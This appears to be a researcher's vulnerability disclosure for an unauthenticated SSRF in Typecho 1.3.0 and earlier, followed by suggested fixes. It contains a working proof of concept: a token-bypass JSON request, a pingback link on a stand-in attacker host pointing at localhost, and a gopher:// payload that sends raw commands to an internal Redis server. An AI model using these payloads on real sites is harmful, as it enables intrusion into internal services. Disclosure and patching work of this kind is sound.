Typecho <=1.3.0 Server-Side Request Forgery (SSRF) via Weak Token Validation and Pingback Relay

Wang1r Lv4

Typecho <=1.3.0 Server-Side Request Forgery (SSRF) via Weak Token Validation and Pingback Relay

1. Vulnerability Overview

  • Product: Typecho Blog Platform
  • Affected Version: 1.3.0 and all earlier versions
  • Vulnerability Type: Server-Side Request Forgery (SSRF)
  • Affected Component: /action/service?do=ping endpoint, Widget\Service::sendPingHandle() method
  • Discoverer: Wang Yiru

2. Vulnerability Description

Typecho 1.3.0 and prior contain a critical SSRF vulnerability in the asynchronous ping service. The /action/service?do=ping endpoint uses a weak time‑token validation that can be bypassed by sending "token": true in a JSON request. After validation, the server processes a user‑supplied list of URLs. For each URL, it performs an initial GET request and then, following the Pingback protocol, extracts a target URL from the response (X-Pingback header or HTML <link rel="pingback"> tag). It immediately sends a new POST request (XML‑RPC pingback.ping) to that extracted address without any IP‑restriction checks. This creates a two‑stage SSRF attack chain that allows an attacker to force the Typecho server to send arbitrary POST requests to any internal IP/port (including 127.0.0.1, RFC1918 addresses, etc.), bypassing common network boundaries. Moreover, because the underlying HTTP client supports gopher:// and other protocols, the second request can also be used to interact with non‑HTTP internal services (e.g., Redis, Memcached, MySQL) via gopher payloads, greatly expanding the attack surface.

3. Technical Analysis

3.1 Weak Token Validation

The function Common::timeTokenValidate() uses a loose comparison (==) instead of strict (===):

1
2
3
4
5
6
7
8
9
10
11
12
// var/Typecho/Common.php
public static function timeTokenValidate($token, $secret, int $timeout = 5): bool
{
$now = time();
$from = $now - $timeout;
for ($i = $now; $i >= $from; $i--) {
if (sha1($secret . '&' . $i) == $token) {
return true;
}
}
return false;
}

Due to PHP type juggling, any non‑empty string loosely equals true. An attacker can simply supply "token": true in the JSON body, causing the validation to succeed immediately – no valid token is required.

3.2 Pingback Relay (Second‑Stage POST)

The vulnerable code resides in Widget\Service::sendPingHandle():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// var/Widget/Service.php (simplified)
if (!empty($data['pingback'])) {
foreach ($data['pingback'] as $url) {
$spider = Client::get();
$spider->send($url); // first request (GET)

// Pingback discovery
if (!($xmlrpcUrl = $spider->getResponseHeader('x-pingback'))) {
if (preg_match("/<link[^>]*rel=['\"]pingback['\"][^>]*href=['\"]([^'\"]+)/i", $spider->getResponseBody(), $out)) {
$xmlrpcUrl = $out[1];
}
}

if (!empty($xmlrpcUrl)) {
$xmlrpc = new \IXR\Client($xmlrpcUrl);
$xmlrpc->pingback->ping($permalink, $url); // second request (POST)
}
}
}

The second request uses the same HTTP client without any IP‑restriction checks (Common::checkSafeHost() is not called here). Consequently, the extracted $xmlrpcUrl can point to any internal address, and Typecho will send an XML‑RPC POST request containing the attacker‑controlled $permalink parameter. Importantly, the underlying HTTP client (cURL) supports multiple protocols including gopher://, dict://, file://, etc. Therefore, an attacker can make the second request use the gopher protocol to interact with any TCP‑based service inside the internal network.

4. Proof of Concept (PoC)

4.1 Basic Pingback Relay to Internal HTTP Service

  1. Attacker‑controlled server (e.g., http://attacker.com) responds with:

    1
    <link rel="pingback" href="http://127.0.0.1:9999/">
  2. Malicious JSON payload sent to the vulnerable endpoint:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    POST /action/service?do=ping HTTP/1.1
    Host: target.com
    Content-Type: application/json

    {
    "token": true,
    "permalink": "http://example.com",
    "pingback": ["http://attacker.com"]
    }
  3. Observation: The Typecho server fetches http://attacker.com (GET), extracts the Pingback URL, and then sends an XML‑RPC POST request to http://127.0.0.1:9999/. Any listener on that port receives the POST request, proving successful SSRF to an internal address.

4.2 Gopher Attack Against Internal Redis (No Authentication)

If an internal Redis server is listening on 192.168.1.100:6379 without authentication, an attacker can use a gopher payload to send arbitrary Redis commands. The attacker‑controlled server returns:

1
<link rel="pingback" href="gopher://192.168.1.100:6379/_*2%0d%0a$4%0d%0ainfo%0d%0a">

This payload sends the Redis INFO command. The Typecho server will establish a TCP connection to Redis and transmit the raw RESP data. Even though the response is not directly returned to the attacker, it can be used for further exploitation (e.g., writing a webshell via CONFIG SET + SAVE, or executing Lua scripts). Because the second request is made with the attacker‑supplied URL, no IP restrictions are applied, allowing direct interaction with internal non‑HTTP services.

5. Reproduction Steps

  1. Set up a listener on an internal address (e.g., nc -lvnp 9999) to capture incoming POST requests.
  2. Launch a simple HTTP server that returns the Pingback link pointing to that internal address.
  3. Send the crafted JSON request to the target Typecho server.
  4. Observe that the internal listener receives a POST request, confirming the SSRF.

To demonstrate gopher attack:

  • Set up a dummy Redis listener (or any TCP service) on an internal IP.
  • Have the attacker server return a gopher:// URL pointing to that service.
  • The Typecho server will connect to that service and send the raw payload.

6. Impact

This vulnerability is far more severe than a typical blind SSRF because:

  • No authentication required – the weak token validation can be trivially bypassed.
  • POST requests to internal services – many internal management interfaces (Jenkins, WebLogic, Hadoop, etc.) only accept POST requests and are often left unauthenticated inside the perimeter.
  • Protocol smuggling via gopher – the support for gopher:// allows attackers to interact with non‑HTTP internal services such as:
    • Redis: write files, execute Lua scripts, or gain code execution.
    • Memcached: retrieve or modify cached data.
    • MySQL: perform limited queries (if no authentication).
    • SMTP, FTP, etc. – depending on service capabilities.
  • Bypass of IP restrictions – the second request does not call checkSafeHost(), allowing direct access to 127.0.0.1, RFC1918 addresses, and cloud metadata endpoints (e.g., 169.254.169.254).
  • Pivoting into the internal network – an attacker can scan open ports, fingerprint services, and potentially exploit known vulnerabilities in those services to gain remote code execution.
  • Data exfiltration – by forcing an internal service to send its response to an attacker‑controlled server (if the service supports outbound requests), sensitive information can be stolen.

7. Recommendation

7.1 Immediate Mitigations

  • Disable the ping service – if not required, turn off XML‑RPC in Typecho’s general settings.
  • Apply strict IP filtering – modify sendPingHandle() to reject any extracted $xmlrpcUrl that points to private/reserved IP ranges or uses dangerous protocols (e.g., block gopher://, dict://, file://).
  • Patch the token validation – change == to === in timeTokenValidate() and enforce $token to be a string.

7.2 Suggested Code Fixes

File: var/Typecho/Common.php

1
2
3
4
5
6
7
8
9
10
11
12
public static function timeTokenValidate($token, $secret, int $timeout = 5): bool
{
$now = time();
$from = $now - $timeout;
for ($i = $now; $i >= $from; $i--) {
- if (sha1($secret . '&' . $i) == $token) {
+ if (is_string($token) && sha1($secret . '&' . $i) === $token) {
return true;
}
}
return false;
}

File: var/Widget/Service.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if (!empty($xmlrpcUrl)) {
// Block dangerous protocols
$scheme = parse_url($xmlrpcUrl, PHP_URL_SCHEME);
if (!in_array($scheme, ['http', 'https'])) {
continue;
}
$host = parse_url($xmlrpcUrl, PHP_URL_HOST);
$ip = gethostbyname($host);
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) {
continue; // skip private/internal addresses
}
$xmlrpc = new \IXR\Client($xmlrpcUrl);
$xmlrpc->pingback->ping($permalink, $url);
}

7.3 Long‑term Solution

  • Upgrade to the latest patched version once available.
  • Consider removing the automatic Pingback relay entirely, as it is rarely used and introduces unnecessary risk.
  • 标题: Typecho <=1.3.0 Server-Side Request Forgery (SSRF) via Weak Token Validation and Pingback Relay
  • 作者: Wang1r
  • 创建于 : 2026-03-04 14:00:00
  • 更新于 : 2026-03-04 19:16:27
  • 链接: https://wang1rrr.github.io/2026/03/04/CVE-Report-Typecho-v1-3-0-SSRF/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。